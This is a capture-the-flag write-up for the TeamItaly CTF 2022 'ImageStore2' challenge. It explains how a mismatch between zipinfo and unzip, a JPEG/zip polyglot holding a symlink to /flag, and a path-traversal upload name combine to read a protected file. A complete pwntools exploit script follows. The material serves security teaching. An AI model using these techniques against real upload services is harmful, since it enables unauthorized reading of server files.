Skip to content
This repository has been archived by the owner on May 25, 2023. It is now read-only.

Latest commit

 

History

History

ImageStore2

TeamItaly CTF 2022

ImageStore2 (2 solves)

Someone stole my top secret project for a new pasta shape! I don't know how they did it, so I added all the checks to make sure it doesn't happen again!

I'm sure that now you can't read /flag!

This is a remote challenge, you can connect to the service with:

nc imagestore2.challs.teamitaly.eu 15000

Tip: to input a line longer than 4095 characters on your terminal, run stty -icanon; nc imagestore2.challs.teamitaly.eu 15000.

Solution

The challenge is almost identical to level 1, and so it is the strategy to solve it. There are a few differences, though.

Firstly, function 4 now doesn't contain any bugs, at least in the Python code. Here, the bug is in the different implementation of zipinfo and unzip, both part of Info-ZIP suite. The former checks all the file for the EOCD (end-of-central-directory) header, while the latter checks only the last 66000 or so bytes. So, by appending a long sequence of random characters to a valid empty zip file, we can pass the zipinfo check and trick unzip into thinking that the same file isn't valid.

Secondly, the file type check in function 1 now requires to provide a valid image. We have to create a polyglot file, that is both a valid JPEG image, and a zip containing a symlink to /flag. To do that, we can use tools like mitra, or simply by appending our zip file to any valid image. It's possible to do this because unzip allows for "parasite" data at the beginning of the file.

Exploit

import os
import subprocess
from pwn import *

SMALL_JPEG = b''
SMALL_JPEG += b'\xff\xd8' # SOI
SMALL_JPEG += b'\xff\xe0' # APP0
SMALL_JPEG += b'\x00\x10'
SMALL_JPEG += b'\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00'
SMALL_JPEG += b'\xff\xdb' # DQT
SMALL_JPEG += b'\x00\x43'
SMALL_JPEG += b'\x00'
SMALL_JPEG += b'\x03\x02\x02\x02\x02\x02\x03\x02'
SMALL_JPEG += b'\x02\x02\x03\x03\x03\x03\x04\x06'
SMALL_JPEG += b'\x04\x04\x04\x04\x04\x08\x06\x06'
SMALL_JPEG += b'\x05\x06\x09\x08\x0a\x0a\x09\x08'
SMALL_JPEG += b'\x09\x09\x0a\x0c\x0f\x0c\x0a\x0b'
SMALL_JPEG += b'\x0e\x0b\x09\x09\x0d\x11\x0d\x0e'
SMALL_JPEG += b'\x0f\x10\x10\x11\x10\x0a\x0c\x12'
SMALL_JPEG += b'\x13\x12\x10\x13\x0f\x10\x10\x10'
SMALL_JPEG += b'\xff\xc9' # SOF
SMALL_JPEG += b'\x00\x0b'
SMALL_JPEG += b'\x08\x00\x01\x00\x01\x01\x01\x11\x00'
SMALL_JPEG += b'\xff\xcc' # DAC
SMALL_JPEG += b'\x00\x06\x00\x10\x10\x05'
SMALL_JPEG += b'\xff\xda' # SOS
SMALL_JPEG += b'\x00\x08'
SMALL_JPEG += b'\x01\x01\x00\x00\x3f\x00\xd2\xcf\x20'
SMALL_JPEG += b'\xff\xd9' # EOI

SMALL_ZIP = b'PK\x05\x06' + 18 * b'\x00'

HOST = os.environ.get("HOST", "imagestore2.challs.teamitaly.eu")
PORT = int(os.environ.get("PORT", 15013))

conn = remote(HOST, PORT)

conn.recvuntil(b'> ')
conn.send(b'1\n') # upload an image

initial_path = os.getcwd()
os.chdir('/tmp')

try:
    os.remove('file.zip')
    os.remove('flag')
except:
    pass

subprocess.run(['ln', '-s', '/flag', 'flag'])
subprocess.run(['zip', '--symlinks', 'file.zip', 'flag'])

with open('file.zip', 'rb') as zipfile:
    content = zipfile.read()

os.remove('file.zip')
os.remove('flag')

os.chdir(initial_path)

payload = b64e(SMALL_JPEG + content).encode()

conn.recvuntil(b': ') # image name
conn.send(b'../../tmp/images.zip.zip\n')

conn.recvuntil(b': ') # image/zip polyglot payload
conn.send(payload + b'\n')

conn.recvuntil(b'> ')
conn.send(b'4\n') # upload multiple images

payload = b64e(SMALL_ZIP + 100000 * b'A').encode()

conn.recvuntil(b': ') # zip payload
conn.send(payload + b'\n')

conn.recvuntil(b'> ')
conn.send(b'2\n') # download an image

conn.recvuntil(b'> ')
conn.send(b'0\n') # flag
conn.recvuntil(b'\n')

flag = b64d(conn.recvuntil(b'\n')).decode()

conn.close()

# Print the flag to stdout
print(flag)